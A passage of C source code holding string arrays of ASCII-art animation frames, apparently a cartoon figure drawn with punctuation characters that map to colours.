"+++++++++++++++++++++++'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "##+++++++########++++++'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "######################''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################'''''@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "==#######========#'****'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "==================='''='@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", ";;=======;;;;;;;;======'@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;;''@@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,", ";.;;;;;;;;;;;;;;;;;;;;;'*'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ".,.;;;;;;,,,,,,,,;;;;;;'**',**',,,,,,**','**',,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,''',,''',,,,,,''',,''',,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame3[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,.,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,", ">>,,,,,,,>>>>>>>>,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&&&&&&'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "##+++++++########++++++'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "#####################'''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "==#######========##****'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "=================='*'=='@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", ";;=======;;;;;;;;=='==='@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;;''@@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ",,;;;;;;;,,,,,,,,;;;;;'**','*',,,,,,'*','**',,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,''',,,'',,,,,,,'',,''',,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,.,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame4[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,.,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>>''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$''$-$$@','',,,,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&+++++'@$$$$$$$$'**'$$$@''**',,,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$-$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'''++'@$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,,", "+++#######+++++++'**''''@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "#################'****''@$$$$$$-'*************',,,,,,,,,,,,,,,,,", "##################''''*'@$-$$$$$'***.'****.'**',,,,,,,,,,,,,,,,,", "###=======########==='''@$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "======================='@@$$$-$$'*%%********%%',,,,,,,,,,,,,,,,,", "===;;;;;;;========;;;;''@@@$$$$$$'***''''''**',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;''''@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;'***'''''''''''''''''''',,,,,,,,,,,,,,,,,,,,", ";;;,,,,,,,;;;;;;;;,,'**','**,,,,,,'**,'**',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,''',,,'',,,,,,,'',,''',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,..,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame5[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,..,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>>''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$''$$$@@','',,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$'**'-$$@''**',,,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&+++++'@$$$$$$$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "+++++++++++++++++++'+++'@$$$$$-$$'***''''****',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'*'++'@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "+++#######++++++++'*''''@$$$$$$$'*************',,,,,,,,,,,,,,,,,", "###################****'@$$$$$$-'***.'****.'**',,,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "###=======########==='''@$$$$$$$'*%%********%%',,,,,,,,,,,,,,,,,", "======================='@@$$$-$$$'***''''''**',,,,,,,,,,,,,,,,,,", "===;;;;;;;========;;;;''@@@$$$$$$$'*********',,,,,,,,,,,,,,,,,,.", ";;;;;;;;;;;;;;;;;;;;;'*''@@@@@@@@@@''''''''',,,,,,,,,,,,,,,,,,,.", ";;;;;;;;;;;;;;;;;;;;'***''''''''''''''''*',,,,,,,,,,,,,,,,,,,,,,", ";;;,,,,,,,;;;;;;;;,,'**','**,,,,,,'**,'**',,,,,,,,,,,,,,,,,,..,.", ",,,,,,,,,,,,,,,,,,,,''',,''',,,,,,''',,''',,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,..,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame6[] = { ".,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ".,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,..,.,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", 